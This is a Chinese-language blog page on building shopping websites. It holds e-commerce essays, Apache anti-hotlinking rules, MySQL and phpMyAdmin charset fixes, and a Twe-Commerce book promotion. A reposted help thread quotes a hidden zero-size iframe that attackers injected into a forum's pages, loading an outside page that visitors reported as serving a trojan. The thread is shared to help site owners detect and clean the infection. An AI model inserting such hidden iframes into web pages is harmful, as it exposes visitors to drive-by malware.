好消息公告:【最新購物網站架站教學】購物網站購物車五大天王:osCommerce、Twe-Commerce、Zen Cart、xt:Commerce、ecshop 實況錄影架站教學課程已經完成製作,保有【osCommerce最完整購物網站架站教學】DVD課程郵寄到府函授課程外,另增加購物車四大天王:Twe-Commerce、Zen Cart、xt:Commerce、ecshop 實況架站線上錄片架站教學
(份量增加很多價格還是不變!)限期30天。
最新課程表:http://por.tw/sale/cmmerse-4-all/index.php


特訓密技基地總教頭
ster168ster@gmail.com
English Sentence Loading...
英語句子加載中...
瀏覽模式: 普通 | 清單

在金融危機中--電子商務卻反而發展出好機遇

在金融危機中--電子商務卻反而發展出好機遇
調研了金融危機對傳統產業的影響,感覺實際影響比想像中嚴重很多,銀行大筆存款回籠資金的現象,反映出金主對投資意願低落。
金融危機尤其對一些專職外貿出口的企業影響更為嚴重。

根據近期統計的電子商務關聯資料顯示,電子商務不但沒有收到任何影響,相反有一個交易高峰期的到來,
無論是外貿還是內貿。電子商務交易資料都有大幅度增加。金融危機對電子商務的發展機遇不言而喻。
原因大概有以下三個因素:  

金融危機導致買家購買力下降,節衣縮食是普通群體應對金融採取的重要手段。
雖然節衣但並不表示不買衣服,雖然縮食也並不表示不吃飯,一些生活中的日常用品該需要購買的還是需要購買。
只是盡可能的找一些更便宜的商品來替代,或是花更多的時間去尋找性價比更合適的商品。
電子商務恰恰為這部分群體提供了性價比更適合的商品,無論是內貿還是外貿。
比如聖誕節一些聖誕用品應屬於外國人的必需品,而其中關聯的大部分產品製造來自於台灣與中國,傳統外貿出口受到影響時,
而電子商務外貿必然迎來新一輪的增長。  

傳統實體店舖的利潤降低或是倒閉,促使這部分賣家群體重新考慮成本核算為題,以降低金融危機帶來的危害,
網上低成本或零成本的銷售模式,為這部分群體帶來了新的希望,畢業在同東莞的關聯朋友交流時,
得到的訊息普遍是希望通過電子商務降低成本,提高成交量。
總之這部分群體進入電子商務,將對電子商務的發展有一個較大促進作用。
網線上店舖數近期有一個高峰增長也可以開出對電子商務的作用。  

金融危機造成大量社會人員的失業,解決目前失業人員的就業為題是政府目前工作的重中之重。
電子商務解決就業人群的功能,使政府政策更加扶持電子商務的發展。
失業職訓網路開店等均體現出政府大力扶持電子商務發展。  

等金融危機度過後,我們再回頭來評價此次金融危機對電子商務的影響,相信大家都認同金融危機對電子商務的作用。  
金融危機來了,同時帶來了電子商務的發展機遇。

電子商務網站發展及運營七大要素

電子商務網站發展及運營七大要素

轉載:中國店長網:www.cndian.cn


中國際網路在經由十餘年的發展後,已經逐漸深入人們工作、生活、娛樂等方方面面;同時,也創造出許多具有廣闊前景行業,電子商務便是其中之一。根據艾瑞咨詢《2008年第三季度中國網路購物市場監測報告》資料顯示,2008年第三季度中國B2C網路購物環比增長20.6%,交易額達24.2億元。
儘管B2C成交額和C2C相比仍有一定差距,但在很多方面仍存在較大發展空間,市場潛力也吸引了眾多廠商的加入,市場競爭日趨激烈。艾瑞通過研究認為,對於電子商務廠商尤其是新成立的B2C電子商務廠商要在市場站穩腳跟,需要做更多的工作,其中最為關鍵和核心的是要解決7大要素:
產品定位
電子商務網站特別是垂直型B2C需要更加專注於前期產品定位,從而增強網站凝聚力和專業性;以提升電子商務網站整體運營能力。核心追蹤三點:一是產品的現實購買市場及潛力要大;二是產品線上銷售毛利潤要高;三是網路銷售能提供不可替代的優勢(如價格、服務等)。
品牌信用
品牌影響力包括兩方面的含義:一是電子商務網站本身的品牌影響力;二是銷售產品的品牌影響力。前者是投入行銷費用加上後續服務逐步建立,而後者是產品自身品牌影響力帶來的。作為新設立的網站必須要通過行銷和主營產品的選取解決品牌影響力也就是信用的問題。
行銷推廣
行銷需要分階段和根據廠商自身情況選取。僅僅依賴一種行銷通路(不論是線上還是線下)難以實現理想的效果。廠商應該根據產品定位和品牌,結合行銷預算選取行銷通路。如資金實力容許,前期應選取線下DM直銷、線下與線上促銷活動結合、線下+實體店相結合、植入式行銷等進行整合行銷。但最終為提高利潤率和行銷的ROI,應該將訂單完成盡量轉移到線上完成,線下僅提供體驗和推廣。
網站建設
僅僅做好前期的工作還不夠,網站還需要對會員有著非常深入的瞭解,合理的設定購買流程、產品分類等,提供給購買會員好的會員體驗能有效提高轉化率,將行銷效果最大化,並節約後續行銷成本。如通過Web會員分析資料獲得會員瀏覽行為給產品部、市場部及決策提出一些可預見性的支援,在此基礎上根據圖形設計、心理學、人機專案學、社會學等學科知識增強可用性、易用性,增強消費者對網站的依賴性等。
物流寄件
在完成網上電子商務交易後,電子商務網站需要向消費者寄件關聯物品,物流系統的完善性將為電子商務帶來更好的口碑宣傳和良好的會員感受。但對於剛成立的電子商務網站而言,建立物流寄件體系成本較高,因此需要選取較好的物流合作夥伴,並在未來資金實力容許情況下,建立庫存運維中心,以提升貨物到達率的提高;完善物流訊息化平台,以提升電子商務網站整體運營能力。
售後服務
在完成網上電子商務交易後,還需要提供良好的售後服務保障。尤其是對單價比較高、功能比較複雜的產品,只有這樣才能進一步加強會員對網站的信賴程度和信心,能吸引會員後續購買。
客戶關係維護
在一個購買週期結束後,網站還需要根據積累起來的會員資料庫定期做客戶關係維護。瞭解會員需求及滿意度,並改進網站後續服務,提升網站黏性,使會員形成迴圈購買和好的口碑,進而進一步提升網站銷售量降低行銷成本,最終實現盈利。
在以上7點核心因素基礎上,艾瑞最新研究資料也顯示,會員評論對網購有很大的影響。目前,消費者主要通過搜尋引擎、部落格、社區、比較商品網站以及電子商務網站評論系統獲得訊息,來支援消費者決策,因此購物網站也需要追蹤會員評論及口碑等關聯各項指標。
綜上所述,電子商務未來的發展,不僅需要追蹤行業的發展動態和市場前景;更需要追蹤網站運營中各個環節中的細節,才能在激烈的競爭環境中和經濟形勢出現下滑的時期找到一片藍海。艾瑞近期也將在此前搜尋對購物影響研究基礎上,針對網路購物消費者決策發佈關聯研究成果,一如既往的為中國電子商務發展提供關聯咨詢服務,更好的推動市場的發展。
標籤: 網站日誌

[轉貼] ECSHOP防盜連及駭客iframe攻擊模式

原著:http://bbs.ecshop.tw/thread-593-1-1.html

一.網站防盜連
首先,防盜連只防君子不防小人,所以認真說還是有辦法被破解
在 Apache 中可以用 .htaccess 來做一些簡單的安全性、認證相關的設定。
開啟 httpd.conf 後,將下面這行修改一下,再新啟動 Apache
AllowOverride None 改成 AllowOverride All

防盜連常見方法一
轉自PCZONE
那麼請在.htaccess檔案加入下面
(以下這樣設定代表:除了自己網站以及PCZONE網站,其他網站仍無法盜連你站內的資料)
SetEnvIfNoCase Referer "^http://www\.pczone\.com\.tw/" local_ref=1
SetEnvIfNoCase Referer "^http://pczone\.com\.tw/" local_ref=1
SetEnvIfNoCase Referer "^http://自己網站/" local_ref=1
SetEnvIfNoCase Referer "^http://www\.google\.com/" local_ref=1
SetEnvIfNoCase Referer "^http://google\.com/" local_ref=1
<FilesMatch "\.(txt|doc|gif|jpg|mp3)"> 
Order Allow,Deny
Allow from env=local_ref
Allow from google.com
Allow from 127.0.0.1
Allow from 202.43.85.163 <-這個IP,是PCZONE網站的固定IP
</FilesMatch>

另一改 httpd.conf 方法
<Directory "C:/Apache2/htdocs/XXXXX">
SetEnvIfNoCase Referer "^http://www\.yahoo\.com\.tw/" local_ref=1
<FilesMatch "\.(gif|jpg|wmv|wma|swf|rm|rmvb|mp3|mid|exe|zip)">
Order Allow,Deny
Allow from env=local_ref
Allow from 127.0.0.1
Allow from http://www.yahoo.com/
Allow from http://www.yahoo.com.tw/
</FilesMatch>
</Directory>

讓 kuso.in/kuso/x.php 限制連 這個 php 不能直接連結.除了自己網站和yahoo
用 Location 來指出該檔案url 位置
<Location /kuso/x.php>
order allow,deny
Allow from 127.0.0.1
Allow from http://www.yahoo.com/
Allow from http://www.yahoo.com.tw/
......
</Location>

同理.封鎖特定的IP做這些設定
<FilesMatch "\.x">
order deny,allow
allow from all
deny from 192.168.1
deny from 192.168.2.1
</FilesMatch>


.htaccess 放的位置也會有差別,.htaccess 的作用範圍,只有放置該檔的目錄,以及其下的子目錄才會有作用。是目錄不是網址喔。如果其它的目錄已經有另外設定過權限的話,要檢查一下權限有沒有衝突。

下面是白話文-linux下 參考範例 轉自
更改前 這個是帶 rewrite 的
<VirtualHost *:80>
DocumentRoot /home/www
ServerName http://www.yourdomin.com/
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^/supesite/([0-9]+)/spacelist(.*)$ /supesite/index.php?$1/action_spacelist$2
RewriteRule ^/supesite/([0-9]+)/viewspace_(.+)$ /supesite/index.php?$1/action_viewspace_itemid_$2
RewriteRule ^/supesite/([0-9]+)/viewbbs_(.+)$ /supesite/index.php?$1/action_viewbbs_tid_$2
RewriteRule ^/supesite/([0-9]+)/(.*)$ /supesite/index.php?$1/$2
RewriteRule ^/supesite/([0-9]+)$ /supesite/index.php?$1
RewriteRule ^/supesite/action_(.+)$ /supesite/index.php?action_$1
RewriteRule ^/supesite/category_(.+)$ /supesite/index.php?action_category_catid_$1
RewriteRule ^/supesite/itemlist_(.+)$ /supesite/index.php?action_itemlist_catid_$1
RewriteRule ^/supesite/viewnews_(.+)$ /supesite/index.php?action_viewnews_itemid_$1
RewriteRule ^/supesite/viewthread_(.+)$ /supesite/index.php?action_viewthread_tid_$1
RewriteRule ^/supesite/index([\.a-zA-Z0-9]*)$ /supesite/index.php
</IfModule>
</VirtualHost>

改完後
<VirtualHost *:80>
DocumentRoot /home/www
ServerName http://www.yourdomin.com/
SetEnvIfNoCase Referer "^http://www.yourdomin.com" local_ref=1
SetEnvIfNoCase Referer "^http://yourdomin.com" local_ref=1
<FilesMatch "\.(txt|doc|mp3|zip|rar|jpg|gif)">
Order Allow,Deny
Allow from env=local_ref
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^/supesite/([0-9]+)/spacelist(.*)$ /supesite/index.php?$1/action_spacelist$2
RewriteRule ^/supesite/([0-9]+)/viewspace_(.+)$ /supesite/index.php?$1/action_viewspace_itemid_$2
RewriteRule ^/supesite/([0-9]+)/viewbbs_(.+)$ /supesite/index.php?$1/action_viewbbs_tid_$2
RewriteRule ^/supesite/([0-9]+)/(.*)$ /supesite/index.php?$1/$2
RewriteRule ^/supesite/([0-9]+)$ /supesite/index.php?$1
RewriteRule ^/supesite/action_(.+)$ /supesite/index.php?action_$1
RewriteRule ^/supesite/category_(.+)$ /supesite/index.php?action_category_catid_$1
RewriteRule ^/supesite/itemlist_(.+)$ /supesite/index.php?action_itemlist_catid_$1
RewriteRule ^/supesite/viewnews_(.+)$ /supesite/index.php?action_viewnews_itemid_$1
RewriteRule ^/supesite/viewthread_(.+)$ /supesite/index.php?action_viewthread_tid_$1
RewriteRule ^/supesite/index([\.a-zA-Z0-9]*)$ /supesite/index.php
</IfModule>
</VirtualHost>

防盜連常見方法補充 ~另一種防盜方法
這種我還沒試過.有試過的請發表一下
租空間的用戶,透過Apache的.htaccess來設置防盜連功能(anti hotlink),是最方便的
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^http://yblog.org/*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://yblog.org/$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.yblog.org/*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.yblog.org/$ [NC]
RewriteRule .*\.(jpg|gif|png|bmp|rar|zip|exe)$ /content/no_hotlink.jpeg [R,NC]
如果你想在自己的網站主機上也使用這樣的防盜連功能,生成一個.htaccess文件放到你欲限制的目錄(根目錄最好避免,在根目錄使用的. htaccess建議用作其它用途,欲限制的目錄下才放本文設定的防盜連方式)。在Windows平台上如果發現自己無法產生.htaccess文件,可 以用記事本或其它的文字編輯軟體,另存新檔時,檔名選擇.htaccess即可
RewriteCond可指定從哪些域名來連線是許可的
RewriteRule則指定哪些附檔名類型不能被盜連(hotlink),後面可指定連結到某個錯誤訊息頁面,或是一張圖片。
如果RewriteRule這一行設定成RewriteRule \.(jpg|jpeg|gif|png|bmp|rar|zip|exe)$ - [F],則表示盜連的人,會看到403錯誤訊息,顯示禁止存取(403 Forbidden)。

防盜連的PHP代碼[轉自163.com]
<?php

$ADMIN[defaulturl] = "http://www.163.com/404.htm";//盜鏈返回的地址
$okaysites = array("http://www.163.com/","http://163.com/"); //白名單
$ADMIN[url_1] = "http://www.163.com/download/";//下載地點1
$ADMIN[url_2] = "";//下載地點2,以此類推

$reffer = $HTTP_REFERER;
if($reffer) {
$yes = 0;
while(list($domain, $subarray) = each($okaysites)) {
if (ereg($subarray,"$reffer")) {
$yes = 1;
}
}
$theu = "url"."_"."$site";
if ($ADMIN[$theu] AND $yes == 1) {
header("Location: $ADMIN[$theu]/$file");
} else {
header("Location: $ADMIN[defaulturl]");
}
} else {
header("Location: $ADMIN[defaulturl]");
}

?> 
使用方法:將上述代碼保存為dao4.php,
比如測試用的validatecode.rar在站點http://163.com/download裡面,
則用以下代碼表示下載連接. 
文件名?site=1&file=文件 
EXP:
http://www.cndw.com/dao4.php?site=1&;file=validatecode.rar

防框架嵌入方法和源代碼 轉自
<script type="text/javascript"><!--
if ( top.location !== self.location ) {
top.location=self.location;
}
//--></script>唯一的缺點是對禁用Javascript的瀏覽器無效,不管怎麼樣這是我看到的最好的解決辦法,在這裡強烈推薦!


二.駭客攻擊(iframe)
先引用資安論壇網友:
這是我的網站,因為會員反應說有木馬程式,可是我和主機商一直找不出來,想請各位幫忙
會員幫我偵出來是Troian horse病毒。
昨天有會員反應被人植入木馬程式,檢看原始碼發現多了下面代碼
<iframe src="
http://www.photosh.idv.tw/admin/board/_vti_cnf/index.htm" width="0" height="0" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>

找了一些index.htm和index.php不過都找不到這段原始碼,請問它應該是放在哪裡呢?
and再多問一個,會員向我反應後我一邊找網站檔案還是仍然找不到,一邊掃我電腦的毒不過我用了兩三個掃木馬的程式還是都掃不出來?我的網站目前被惡意放 進的程式(如上面的代碼)還沒移除,我還是一直在我的網站上東看西看,不知是程式掃不出來還是沒有中毒?請問這種情形上去的話一定會中毒嗎?因為我也沒有 安裝任何防毒軟體,只有掃毒軟體。
我剛剛下載了一個檢測伺服器木馬及惡意程式的safe程式,放在網站上執行,它說99%可以找出惡意程式,但我使用後還是都說正常....這種情形該怎麼辦呢?主機商叫我從資料庫搜尋相關字眼但也找不到~麻煩高手幫忙一下~~QQ"

請您先把資料庫的所以密碼用英數亂碼加大小寫編碼...把密碼先改過一次...然後去看是那一個論壇..使用的是那一個資料庫...搜尋 </iframe> .....就會找到你說的那些資料了..看到多少全都砍了...
通常不會只發生在你現在這個資料庫而已...還會在你主機的另外的資料庫上...
只要你的網站夠熱門...就有人會想破你的資料庫植入以上的內崁式木馬...只要到你的論壇後...他會自動連結到別的網站..就中標了.....我有幫一位朋友開一個論壇...他的密碼太過簡單而被破後...接著就所有的資料庫都被植入類似的木碼網站..

<iframe是html的內置框架,也就是會讀對方的程式進來,不過他的高跟寬都設為0所以看不見,我也遇到,除了寫html檔之外可能會寫入flash檔,感染html或是asp相關網頁的檔案..

解析iFrame攻擊手法 .請參考這裡一篇文章 計世網

可能影響 -Google搜尋你的網站出現「這個網站可能會損害你的電腦」
當遇上網路釣魚.惡意網站連結...等同時,還可能遇到 Google搜尋出現「這個網站可能會損害你的電腦」情況
以下解決方式請自行到R大 的 慢條斯理的溫柔 去看 .雖然文中只提到遭到攻擊然後植入怪怪的連結.個人猜也許是iFrame攻擊手法 .不過也許不是.但是.遇到 Google搜尋出現「這個網站可能會損害你的電腦」這種情況 ..可ˇ以參考R大方式處理

剛剛去逛書局看到:Twe-Commerce三版的新書
我就買一本(我不是不會使用或修改Twe-Commerce....而是純贊助的心態)

attachments/200901/4272677451.gif

有時買書是買來學習書中內容的,如果是贊助這還是想鼓勵一下作者
畢竟不是出書...而發展及開發購物網站時不容易(要花不少時間及體力)
以前我沒有【純贊助】的習慣
後來因為有人在我的網站【純贊助】我,當時真的很感動
不是因為金錢的多寡(而是獲得肯定的激動)
所以我也有樣學樣(我認為可以鼓勵的....就會也來個:純贊助)
我常說【人】不是【神】,如果是【神】那該有多好?
如果人不用為生活而賺取生活費時....那就是:有機會做一些社會公益之類的事情
不用為膚淺的【金錢】....而忘了對的社會回饋....
贊助作者是希望:作者能不要為生活而擔憂
能更有時間做自己喜歡做的事情.....

----------------------------------------------------------------
官方網站有:簽名書(我是書局購買...少了老爹的簽名)
買越多本越便宜(有打折)
其實像我常買書(當然有會員卡)買書打折會比較便宜!
 
分級價格 (數量 = 單價) :
3單位 = 每單位NT$550 6單位 = 每單位NT$530 10單位 = 每單位NT$500

phpMyAdmin 2.7.0(含)以上版本 中文顯示亂碼問題解決(基本設定)

在升級 PHPMyAdmin 時遇到中文字會出現亂碼的問題解決方法,分享一下如何修改。
設定檔名區別:

config.ini.php v 2.6.0 之前的名稱

config.default.php v 2.6.0(含) 之後的名稱

應更改事項:
$cfg['PmaAbsoluteUri'] = ''; -> $cfg['PmaAbsoluteUri'] = ' http://xxx.xxx.xxx.xxx/PHPMyAdmin/'; phpmyadmin 位置
$cfg['Servers'][$i]['auth_type'] = 'config'; -> $cfg['Servers'][$i]['auth_type'] = ' http'; http 認証
oth:
$cfg['Servers'][$i]['host'] = 'localhost'; // MySQL hostname or IP address 把localhost改成你的MySQL主機位置, 也就是 DB Hostname
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';   // MySQL user 把root改成你的MySQL資料庫的使用者名稱, 也就是 DB Username
$cfg['Servers'][$i]['password'] = ''; // MySQL password (only needed 在''中間填入你的MySQL資料庫的密碼, 也就是 DB Password
問題:
MySQL資料庫的內容顯示亂碼問題
解決方式:
select_lang.lib.php 這個檔案內容
'big5' => 'big5', 更改 'big5' => 'latin1',
'utf-8' => 'utf-8', 更改 'utf-8' => ' latin1',

TWE-Commerce 的程式錯誤修正

TWE-Commerce 的程式錯誤修正

1.TWE使用SMTP寄信,產生錯誤訊息:
SMTP -> FROM SERVER: 220 mail.cssqn.net ESMTP SMTP -> FROM SERVER: 250-mail.cssqn.net 250-PIPELINING 250-8BITMIME 250-SIZE 10485760 250 AUTH LOGIN PLAIN CRAM-MD5 SMTP -> FROM SERVER: 250 ok SMTP -> FROM SERVER: 250 ok SMTP -> FROM SERVER: 250 ok SMTP -> FROM SERVER: 354 go ahead SMTP -> FROM SERVER: 250 ok 1099534874 qp 29400 SMTP -> FROM SERVER: 250 flushed
Warning: Cannot modify header information - headers already sent by (output started at /usr/local/apache2/htdocs/twisters/twosco/includes/classes/class.smtp.php:132) in /usr/local/apache2/htdocs/twisters/twosco/admin/includes/functions/general.php on line 146

SMTP mail SERVER如果都可以寄信可以將這兩個檔案修改
classes/class.phpmailer.php

  var $SMTPDebug  = true; 內容改為→ var $SMTPDebug= false;
classes/class.smtp.php
    var $do_debug ;內容改為→ var $do_debug = false

資料庫 mysql 的中文亂碼解決【保証成功】專案

資料庫 mysql 的中文亂碼解決【保証成功】專案

在架站技術中常常有來信詢問各種 mysql 中文相容的問題。

資料庫mysql中文亂碼的原因不外乎下列幾點:

☆‧mysql server本身設定問題,例如還停留在 latin1

☆‧mysql table 的語系設定問題(包括 character 與 collation)

☆‧用戶端程式(例如 php) 的連線語系設定問題

請設定 mysql server/table 的 character/collation:

接下來只需要補充幾點注意事:

◎、mysql中文亂碼必勝解決法:

1、mysql 啟動時會讀取一個預設的 config 檔,一般名稱為 my.ini,而它會到下列兩位置去尋找這個檔案:

C:\windows\my.ini 也就是作業系統的安裝目錄,也有可能是 C:\winnt\my.ini
C:\:my.cnf 也就是 C disk 的根目錄

注意不同位置裏的檔案suffix不一樣,這點在之前的文章中沒有特別強調,因此那時我是用更複雜的方法直接重新將mysql 註冊到 service裏面,並在那裏指定 my.ini的位置。

2、my.ini 裏的內容為:

[mysqld]
default-character-set=utf8

[client]
default-character-set=utf8
init_connect='SET NAMES utf8'

其中 mysqld 是指定 server啟動時要用的語系,但如果這裏設定為 utf8可能會讓許多英文軟體不開心,例如 osCommerce/mediaWiki,所以這裏建議設成 latin1。

下面的 client 則是設定當 client 連線時要使用什麼語系,但可惜的是這個設定不是每個client都會鳥它,基本上只有 mysql 自已家的程式,例如 mysql.exe, mysqld.exe, mysqladmin.exe 或是 MySQL Control Center這種程式會去讀取這個設定檔然後改用 utf8 連線。

在此提供第二行指令,比一支支php程式去設定connection setting更快,這樣應該也可以順便解決phpmyadmin無法正確顯示 unicode 中文的問題(不過 amfphp 到是不吃這套,一定要乖乖的自已設定語系才行)

但大部份專案師應該都是自已寫 php/jsp 程式去連線,此時自然不會讀取這個設定而繼續使用預設的語系 - latin1。

這也正是大部分網友陣亡的地方。

可以用一個獨立的檔案來處理 mysql connection的設定,例如:

PLAIN TEXT
PHP:

<?
//database connection details.
$host = "localhost";
$link = mysql_connect($host, "xxx", "xxx");
mysql_query("SET NAMES 'utf8'");
mysql_select_db("your_table_name_here", $link);
?>

請注意在 mysql_connect後第五行的地方有加上一個 "set names 'utf8' "的指令,告訴mysql 這個 connection 之後的連線內容都要使用utf8,經由這樣設定後,通常就可以解決大部份問題。

從這裏也可以推想得知,如果你有用某種custom connection pooling機制,就要記得在每次建立新的connection後立即設定為 utf8。

這組設定經由幾天的反覆測試(使用中文繁、簡、日文、韓文)後已經証實完全不會有亂碼或是某些字變成 "口"。

例子:試者輸入這幾個字「不道可否囉」如果它們能正確進入mysql再被讀出來,那就是中文沒問題了,如果讀出來後變成『口』字那就是革命還未成功同志仍需努力...orz

當然我也順便檢查了 flex2 - amfphp - php - mysql 來回傳resultset 也不再會有中文亂碼問題,可以安心使用囉。

原本用 mysql 4.0 而同時要升級到 mysql 4.1-中文亂碼的解決方法

大部份人升級wordpress 1.5時碰到的問題都是中文亂碼,尤其是如果原本用 mysql 4.0 而同時要升級到 mysql 4.1的話。

主要原因是mysql 4.1在語系方面增加了許多功能,它可以設定語系的層次從最底層的 server, database 到單一 table, column, connection 都可以設定,而除了語系之外,還可以指定搭配不同的 collation,所以組合百百種,只要一個錯了就難逃亂碼的命運。
(而之前用mysql 4.0為何不用設定也不會出問題呢?主要原因是那時預設是 latin-1,正好相容大部份的utf-8字元,所以不常碰到亂碼)

所以如果你的情況跟我一樣,同時要將 wordpress 從 v1.2升級到 v1.5, 然後mysql也要 v4.0 升級到 v4.1 的話,請看下面流程:
A. 先進phpmyadmin找到可輸入 sql query的畫面,然後鍵入:
show variables like 『%character%』;

這句話會顯示目前資料庫使用的語系設定,一般國外的網站或剛裝好的 mysql 4.1預設都是 latin-1。

B. 新增wordpress blog要用的database名稱,例如 myblog.

如果你熟悉 phpmyadmin 的動作,在畫面上就可以選取這個新database 要用的語系,

charset 請選取 UTF-8 Unicode (utf8)
collation 請選取 utf8_general_ci (ci 代表 case insensitve 大小寫沒差)

C.改 database語系,同樣在 phpmyadmin 的query畫面鍵入下面兩行:

如果你在上一步中沒正確選取語系,或是在看到本文前已經先建好database了也沒關係,用下面語法可以改回來

alter database myblog
character set utf8;

D.匯入舊的 sql

到這裏為止mysql裏面已經有一個 utf-8的 database, 可以準備倒資料進去了,把舊版的sql 文字檔直接copy-paste或上傳到 phpmyadmin即可。注意要告訴phpmyadmin這個文字檔是 utf-8 編碼的才能正確匯入。

根據我的經驗,總是會有一兩個小地方出問題,可能要手動修改一下內容,例如將某些中文字先換成英文,等倒進mysql後再進wordpress 改回來。

E.改 wp-db.php 的設定

前面曾經提過,mysql的語系設定是多層次的,前面我們把database與table的語系都設定正確,但程式與mysql連線時的語系則是由 connection 來決定,這部份就要改wordpress的程式碼,在 \wp-includes\wp-db.php 的第 44行加上:
$this->query(”SET NAMES ‘utf8′”);

這句話會同時設定 client, results, connection三者使用的語系為 utf-8。

*最後檢查是否全部改成 utf-8

show variables like 『%character%』;

此時你應該會看到大部份欄位都是utf-8了,除了 server 這項之外,因為租用的hosting主電腦,所以沒法兒改這部份,但平常做案子時大部份都可以直接控管mysql,此時就可以用 my.ini 設定:

[mysqld]
default-character-set=utf8

告訴mysql server啟動時要用 utf-8即可。

◎.經由這樣調校的 mysql,連線 flash - amfphp - php - mysql 也完全沒問題,可以互傳中文/日文。

Mysql 4.1中文亂碼的處理與解決之道

Mysql 4.1中文亂碼的處理與解決之道

要讓 Mysql 4.1正確顯示中文最簡單的方法就是全程使用 utf8,從網頁到連線到資料庫等,而my.ini的設定如下:

[mysqld]
default-character-set=utf8

#settings for clients (connection, results, clients)
[mysql]
default-character-set=utf8

其中 [mysqld] 是設定 mysql啟動時要採用的語系,而[mysql]則是通知外來的連線client(例如php頁面或 flash 程式)要使用何種語系設定。
這個設定方法對一般的開發工作非常適用,但有個小缺點,就是當使用一些open source php程式時(尤其是英文寫的程式),如果這些程式語法還停留在mysql 4.0時代,那上面的設定就會導致中文顯示變的怪怪的,最明顯的情況就是大部份中文都顯示的出來,但少部份會變成 方塊型+問號 的亂碼,例如「裏」這個字幾乎是穩死。
這種情況在 drupal 與 gregarius(一個php rss reader) 上見過,經過一番debug才發現了上述原因,後來終於找到解決方法。

最簡單的方式就是不要下面這段:

[mysqld]
default-character-set=utf8

拿掉這段後會讓mysql 啟動時停留在預設的latin-1語系,這樣會讓大部份英文程式都很快樂,而要使用utf8中文的人,只要記得建資料庫時將它設成utf8,然後保留 [mysql] 這段設定,讓中文程式正確的使用utf8與它溝通即可。
經過測試:這樣改良後的設定,使用常見的英文php軟體(如wordpress, drupal, OSCommerce, gregarius)都沒問題,而開發要用的 flash - amfphp - php - mysql 黃金組合也同樣ok。


使用 MySQL 4.1 主機上安裝 TWE-Commerce 有亂碼的解決方法
 
解決說明新增的 MySQL 資料庫預設(collation)編碼校對選定為: latin1_swedish_ci。

請於新增資料庫後:

(1) 開啟 phpMyAdmin (控制台內建)
(2) 於左方選單選擇新增的資料庫
(3) 點選 "管理"
(4) 捲至頁面最下方,在 "校對" 選擇 utf8_general_ci
(5) 按 "執行"
(6) 然後再繼續 TWE-Commerce 的安裝

今天收到【Twe-Commerce3.0新書上市】的通知電子信

今天收到【Twe-Commerce3.0新書上市】的通知電子信
以下是電子郵件內容:
------------------------------------------------------------------
Twe-Commerce3.0新書上市
上奇出版社書目介紹 (EB664)
http://www.grandtech.com.tw/about/books_det.aspx?id=773
功能介紹與程式下載
http://www.twecommerce.org/modules/news/article.php?storyid=102
歡迎至各大書局或購物車研究站購買
購物車研究站OLDPA
------------------------------------------------------------------

前一陣子國內【瘋狂式的】一面倒的喜歡上:內地的 ECshop 購物網站
幾乎忘了台灣的 Twe-Commerce 購物網站
主要的原因是:
1.有免費的模版
2.版面比較新
3.首頁中間Flash廣告是使用:圖圖互換flash+js廣告代碼(用xml修改圖片路徑)
4.網路到處錯誤散播(ECshop 購物網站搜尋引擎排名比較前面...)

因而其他的購物網站程式紛紛敗下陣來!

而 Twe-Commerce 2.3 因為很久都沒有新版(版本更新沒有ECshop 購物網站快)
人就是:喜新厭舊(購物網站、購物車程式)應該是穩定最重要
網路開店應該是:要發時間在【網路行銷】及搜尋排名上,但一般網站卻只注意網站的美觀....
我仔細看了一下Twe-Commerce3.0讓我覺得:台灣的Twe-Commerce3.0應該目前比較好的(購物網站、購物車程式)首選
因為很多地方都做了更新與改進!很符合(購物網站、購物車程式)的架站及使用
喜歡的話建議:到書局買一本購物車研究站OLDPA的新書!
(支持一下Twe-Commerce3.0作者:【OLDPA老爹】...的辛勞!)
以下是Twe-Commerce3.0的官方更新文件說明:
-----------------------------------------------------------------
Twe-Commerce : Twe-Commerce 3.0 三版
線上展示站
管理員帳號:demo@twecommerce.org
管理員密碼:demo
為了方便大家測試功能,所以將一些基本概念提供大家參考
TweCommerce3.0與之前版本最大的不同在於(依記憶所及簡述):
一,後台選單使用SpryCollapsiblePanel模組運作
可以減少使用時點擊功能連結次數
二,版面區塊由後台控制
控制版面的區塊編排除了使用商店後台>系統設定>區塊配置以外,另一個關鍵是需要調整商店後台>系統設定>首頁商品列表設定數值,這會關係到中央區塊出現幾個商品,與幾個商品後折下一行顯示,整體數值會影響版面編排是否過寬...等等
三,增加了phpmyadmin模組於後台
減少使用時發生資料亂碼問題
四,網站檔案備份功能
目前該功能在測試站是關閉的
五,改寫了左右區塊快取
六,增加指定推薦商品顯示中央區塊
七,增加暢銷商品中央區塊
八,升級至adodb4990
九,升級至Smarty_2.6.19
十,簡化安裝流程
十一,支援php5與mysql5
十二,2.3版bug的修正
等等.....

新一代購物網站架設與管理Twe-Commerce 三版

本書的描述...........
本書的描述:
透過清楚的步驟式說明,協助讀者完成網路商店的架設與管理。
解析最新TWE-Commerce3.0佈景架構與操作流程。
穿插目前最夯的AJAX運用,與SPRY的JavaScript library運用。
透過目前許多程式資源的分享下,本書將著重在對於佈景的置換與編排設計上作詳細探討,期間將穿插一些AJAX與SPRY的JavaScript library運用,期望能給新的USER與目前營運中的網路商店多一些額外的變化,讓整個網路商店的介面更美,操作更人性化。

本書特色:
TWE-Commerce3.0更簡易的安裝步驟
TWE-Commerce3.0全新佈景架構
TWE-Commerce3.0與AJAX的運用
TWE-Commerce3.0與SpryTabbedPanels的運用
TWE-Commerce3.0與SpryCollapsiblePanel的運用

章節大綱:
第一章 TWE-COMMERCE 購物平台介紹
第二章 SERVER(網站伺服器)安裝
第三章 安裝TWE-COMMERCE3.0
第四章 商店管理
第五章 商品圖片
第六章 Twecommerce3.0佈景架構
第七章 Twecommerce3.0後台程式架構與Spry CollapsiblePanel
第八章 SpryTabbedpanels的運用
第九章 當Twecommerce3.0遇見AJAX
第十章 常見問題與小技巧
第十一章 討論區

TweCommerce3.0老爹的網站已經公告一些日子了
網友們都很期待...尤其是我!一樣是台中人當然要支持一下!
剛剛收到官方寄達的電子郵件(還很熱呢!)
---------------------------------------------------------------------
以下是電子郵件的全文:
---------------------------------------------------------------------

